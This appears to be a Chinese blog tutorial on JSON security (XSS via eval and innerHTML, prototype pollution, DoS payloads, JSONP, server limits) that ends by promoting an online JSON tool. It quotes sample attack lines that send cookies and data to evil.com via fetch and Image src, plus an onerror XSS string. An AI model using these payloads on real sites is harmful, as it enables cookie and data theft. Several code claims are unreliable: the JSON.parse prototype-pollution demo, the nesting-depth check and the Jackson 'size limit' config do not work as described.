JSON 安全性完全指南:XSS 攻击、原型污染与防护方案

每个程序员都在用 JSON,但很少有人认真考虑 JSON 的安全问题。XSS 注入、原型污染、超大 payload 攻击……这些漏洞一旦被利用,后果可能是灾难性的。这篇文章帮你系统梳理 JSON 相关的安全风险和防护方案。


1. XSS 注入:eval() 是元凶

问题

最危险的写法——用 eval() 解析 JSON:

1
2
// ❌ 绝对不要这样写
const data = eval('(' + userInput + ')')

如果用户输入的是:

1
{"name": "test"}

一切都好。但如果用户输入的是:

1
{"name": "test"}); fetch('https://evil.com/steal?cookie=' + document.cookie

eval 会执行这段代码,用户的 cookie 就被偷走了。

正确做法

1
2
3
4
5
6
7
8
9
// ✅ 正确:用 JSON.parse
const data = JSON.parse(userInput)

// ✅ 更安全:用 try-catch 包裹
try {
const data = JSON.parse(userInput)
} catch (e) {
console.error('非法 JSON 输入', e)
}

渲染时的 XSS

从 JSON 中取出数据直接渲染到页面上也可能出问题:

1
2
3
4
5
// ❌ 危险!
element.innerHTML = `<div>${data.username}</div>`

// 如果 data.username 是 "<img src=x onerror=alert('xss')>"
// 脚本就会被执行

正确做法:

1
2
3
4
5
6
7
8
9
// ✅ 方案 1:用 textContent(推荐)
element.textContent = data.username

// ✅ 方案 2:用 innerHTML 时一定要净化
import DOMPurify from 'dompurify'
element.innerHTML = DOMPurify.sanitize(data.content)

// ✅ 方案 3:用 React/Vue,框架自带防护
// React <div>{data.username}</div> — 默认转义

你可以用 JSON 校验工具 快速检查你的 JSON 是否包含非法字符。


2. 原型污染(Prototype Pollution)

是什么

JavaScript 中,对象会继承 Object.prototype 的属性。如果攻击者能修改原型对象,所有对象都会受到影响。

1
2
3
4
5
6
// 恶意 JSON
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}')

// 所有新建对象都继承了 isAdmin
const user = {}
console.log(user.isAdmin) // true

更隐蔽的攻击路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 递归合并对象的函数——这是最容易被攻击的场景
function merge(target, source) {
for (const key in source) {
if (source.hasOwnProperty(key)) {
if (typeof source[key] === 'object' && typeof target[key] === 'object') {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
}

const config = {}
const userInput = JSON.parse('{"__proto__": {"polluted": true}}')

merge(config, userInput)

// 现在所有对象都有了 polluted 属性
const obj = {}
console.log(obj.polluted) // true

防护方案

方案 1:过滤 __proto__constructor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function safeMerge(target, source) {
for (const key in source) {
if (!source.hasOwnProperty(key)) continue

// ❗ 跳过危险 key
if (key === '__proto__' || key === 'constructor') continue

if (typeof source[key] === 'object' && typeof target[key] === 'object') {
safeMerge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

方案 2:使用 Object.create(null) 创建无原型的对象

1
2
3
const safe = Object.create(null)
safe.name = 'test'
// safe 没有 __proto__,不会被原型污染影响

方案 3:使用 JSON.parse 的 reviver 参数

1
2
3
4
5
6
const data = JSON.parse(userInput, (key, value) => {
if (key === '__proto__' || key === 'constructor') {
return undefined
}
return value
})

方案 4:用 Map 代替对象(ES6 推荐)

1
2
3
// Map 没有原型污染的困扰
const config = new Map(Object.entries(data))
console.log(config.get('name')) // 安全

3. 超大 payload 攻击(DoS)

问题

攻击者发送一个巨大的 JSON 来耗尽服务器内存:

1
2
// 只有 28 字节,但 JSON.parse 后占用大量内存
{"a":[1,2,3,4,5,...]} // 嵌套大量数据

更恶意的——**” Billion Laughs “ 的 JSON 版本**(利用数组/对象嵌套):

1
{"a":{"a":{"a":{"a":{"a":...}}}}}

深层嵌套的 JSON 会让 JSON.parse 栈溢出,导致程序崩溃。

防护方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 限制 JSON 大小
function safeParse(text, maxSize = 1024 * 1024) { // 默认 1MB
if (text.length > maxSize) {
throw new Error('JSON 太大,请检查输入')
}
return JSON.parse(text)
}

// 限制嵌套深度
function safeParseWithDepth(text, maxDepth = 100) {
let depth = 0

return JSON.parse(text, (key, value) => {
if (typeof value === 'object' && value !== null) {
depth++
if (depth > maxDepth) {
throw new Error('JSON 嵌套太深,超过安全限制')
}
}
return value
})
}

4. JSONP 的安全问题

问题

JSONP(JSON with Padding)是一种跨域请求的旧方案,已经被 CORS 替代。但很多旧系统还在用:

1
2
3
4
5
6
7
8
// JSONP 请求
function jsonpCallback(data) {
console.log('用户数据:', data)
}

const script = document.createElement('script')
script.src = 'https://api.example.com/user?callback=jsonpCallback'
document.body.appendChild(script)

如果第三方 API 被攻破,它可以返回:

1
2
3
jsonpCallback(/* 正常数据 */);
// 然后注入恶意代码:
(new Image()).src = 'https://evil.com/steal?data=' + encodeURIComponent(JSON.stringify(data));

正确做法

不用 JSONP,用 CORS + fetch:

1
2
3
4
5
// ✅ 现代方案
const response = await fetch('https://api.example.com/user', {
credentials: 'include'
})
const data = await response.json()

如果必须用 JSONP(比如兼容老旧 API):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ✅ 设置超时和清理
function jsonp(url, timeout = 5000) {
return new Promise((resolve, reject) => {
const callbackName = 'jsonp_' + Date.now()

window[callbackName] = function(data) {
resolve(data)
cleanup()
}

const timer = setTimeout(() => {
reject(new Error('JSONP 超时'))
cleanup()
}, timeout)

function cleanup() {
delete window[callbackName]
clearTimeout(timer)
document.body.removeChild(script)
}

const script = document.createElement('script')
script.src = url + (url.includes('?') ? '&' : '?') + 'callback=' + callbackName
document.body.appendChild(script)
})
}

5. 服务端 JSON 解析的安全实践

Node.js

1
2
3
4
5
6
7
8
9
10
// 限制 JSON body 大小
app.use(express.json({ limit: '1mb' }))

// 或者手动限制
app.use((req, res, next) => {
if (req.headers['content-length'] > 1024 * 1024) {
return res.status(413).json({ error: '请求体太大' })
}
next()
})

Java(Spring Boot)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// application.yml
spring:
servlet:
multipart:
max-request-size: 1MB

// 或者全局配置
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {
MappingJackson2HttpMessageConverter converter = new MappingJackson2HttpMessageConverter();
converter.setObjectMapper(new ObjectMapper()
.disable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS)
);
converters.add(0, converter);
}
}

安全 checklist

用你的 JSON 工具站之前,对照检查一下:

检查项 状态 说明
不使用 eval 解析 JSON 用 JSON.parse
JSON.parse 放在 try-catch 中 防止非法 JSON 崩溃
限制 JSON 大小 防止 DoS
过滤 proto 和 constructor 防止原型污染
渲染前净化 HTML 内容 防止 XSS
服务端限制请求体大小 双重防护
不使用 JSONP(用 CORS) 新一代方案

需要在线检查你的 JSON 是否安全合法?推荐这个纯前端工具箱:
JSON 校验工具 — 不上传服务器,本地解析,保障数据安全

全套功能:格式化 / 校验 / 压缩 / 对比 / 转 CSV / 代码生成
https://jsonprocess.app